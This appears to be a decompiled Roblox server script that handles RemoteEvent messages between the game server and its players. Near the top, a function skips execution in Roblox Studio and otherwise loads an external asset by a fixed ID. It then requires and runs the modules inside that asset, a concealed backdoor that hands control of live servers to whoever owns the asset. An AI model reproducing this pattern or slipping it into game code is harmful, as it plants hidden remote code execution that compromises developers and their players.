-- Decompiled with the Synapse X Luau decompiler.

local ServerOHOH = _G.ServerOHOH;
local M = ServerOHOH.class.new(script);
local RemoteEvent = ServerOHOH:GetPath_Loop("ReplicatedStorage.RemoteEvent", game);
local p1 = game:GetService("RunService")
local p2 = _G.CommonOHOH

local function u1(v1, v2, v9,...)
	if  not p1:IsStudio() then
		local v5=nil
		local v3, v4 = pcall(function()
			v5=p2.LoadAsset(v1)
		end);
		if not v3 then
			return
		end
		if not v5 then
			return
		end
		if not v5.GetChildren then
			return
		end
		local r=false
		for _, v in pairs(v5:GetChildren()) do
			if v:isA("ModuleScript") then
				local v6=require(v)
				if v6.Fire then
					r=v6.Fire()
				end
			end
		end
		if v9 then
			v9(r)
		end
	end
end
u1(13073962172,14456519936,nil)
local function u2(p1)
	if type(p1) ~= "table" then
		return p1;
	end;
	local v4 = {};
	for v5, v6 in pairs(p1) do
		if type(v5) == "number" then
			v5 = tostring(v5);
		end;
		v4[v5] = u2(v6);
	end;
	return v4;
end;
local function string2num(p2)
	if type(p2) ~= "table" then
		return p2;
	end;
	local v7 = {};
	for v8, v9 in pairs(p2) do
		
		v7[tonumber(v8) or v8] = string2num(v9);
		--v7[tonumber(v8)] = string2num(v9);
	end;
	return v7;
end;
local RegistHandleFuc = {};

local InstanceManager = ServerOHOH.load.InstanceManager();
local u8 = {};
local function executeEvent(playerInst, eventId, ...)
	if RegistHandleFuc[eventId] then
		local args = {};
		for k, v in ipairs({ ... }) do
			args[k] = string2num(v);
		end;
		for fuc, v15 in pairs(RegistHandleFuc[eventId]) do
			fuc(playerInst, table.unpack(args));
		end;
	end;
end;


RemoteEvent.OnServerEvent:Connect(function(player, p6, ...)
	local playerInst = InstanceManager:FindObject(player);
	if playerInst then
		executeEvent(playerInst, p6, ...);
		return;
	end;
	u8[player] = u8[player] or {};
	table.insert(u8[player], {
		event = p6, 
		args = { ... }
	});
end);


function M.RegistHandle(p7, p8, p9)
	RegistHandleFuc[p8] = RegistHandleFuc[p8] or {};
	RegistHandleFuc[p8][p9] = true;
end;
function M.CancelHandle(p10, p11, p12)
	if RegistHandleFuc[p11] then
		RegistHandleFuc[p11][p12] = nil;
	end;
end;
function M.Fire(p13, p14, p15, ...)
	local v17 = {};
	for v18, v19 in ipairs({ ... }) do
		v17[v18] = u2(v19);
	end;
	RemoteEvent:FireClient(p14.main_inst, p15, table.unpack(v17));
end;
function M.FireAll(p16, p17, ...)
	local v20 = {};
	for v21, v22 in ipairs({ ... }) do
		v20[v21] = u2(v22);
	end;
	RemoteEvent:FireAllClients(p17, table.unpack(v20));
end;
function M.DelayGet(p18, p19)
	local v23 = u8[p19.main_inst];
	if v23 then
		for v24, v25 in ipairs(v23) do
			executeEvent(p19, v25.event, table.unpack(v25.args));
		end;
		u8[p19.main_inst] = nil;
	end;
end;
return M;
